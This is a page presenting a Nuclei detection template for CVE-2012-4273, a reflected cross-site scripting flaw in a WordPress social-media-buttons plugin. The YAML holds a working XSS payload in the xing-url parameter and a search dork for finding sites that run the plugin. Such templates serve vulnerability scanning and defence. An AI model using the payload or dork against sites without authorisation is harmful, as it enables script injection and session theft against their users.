2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting

ID: CVE-2012-4273

Severity: medium

Author: daffainfo

Tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm,ppfeufer

Description

A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter.

YAML Source

id: CVE-2012-4273

info:
  name: 2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the 2 Click Socialmedia Buttons plugin (0.34 or higher) to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4273
    - http://plugins.trac.wordpress.org/changeset?old_path=%2F2-click-socialmedia-buttons&old=532798&new_path=%2F2-click-socialmedia-buttons&new=532798
    - http://wordpress.org/extend/plugins/2-click-socialmedia-buttons/changelog/
    - http://packetstormsecurity.org/files/112615/WordPress-2-Click-Socialmedia-Buttons-Cross-Site-Scripting.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/75518
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4273
    cwe-id: CWE-79
    epss-score: 0.00252
    epss-percentile: 0.65097
    cpe: cpe:2.3:a:ppfeufer:2-click-social-media-buttons:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ppfeufer
    product: "2-click-social-media-buttons"
    google-query: "inurl:\"/wp-content/plugins/2-click-socialmedia-buttons\""
  tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm,ppfeufer
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/2-click-socialmedia-buttons/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '2 Click Social Media Buttons'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008322c05bdd398ac8002c69f3abab19e77d67590295d47537b901d2a35a0ba7d8022100d0a367f0b05274643a9b2352bc771a05091f982ae291f61eca25bbeac256878c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-4273.yaml"

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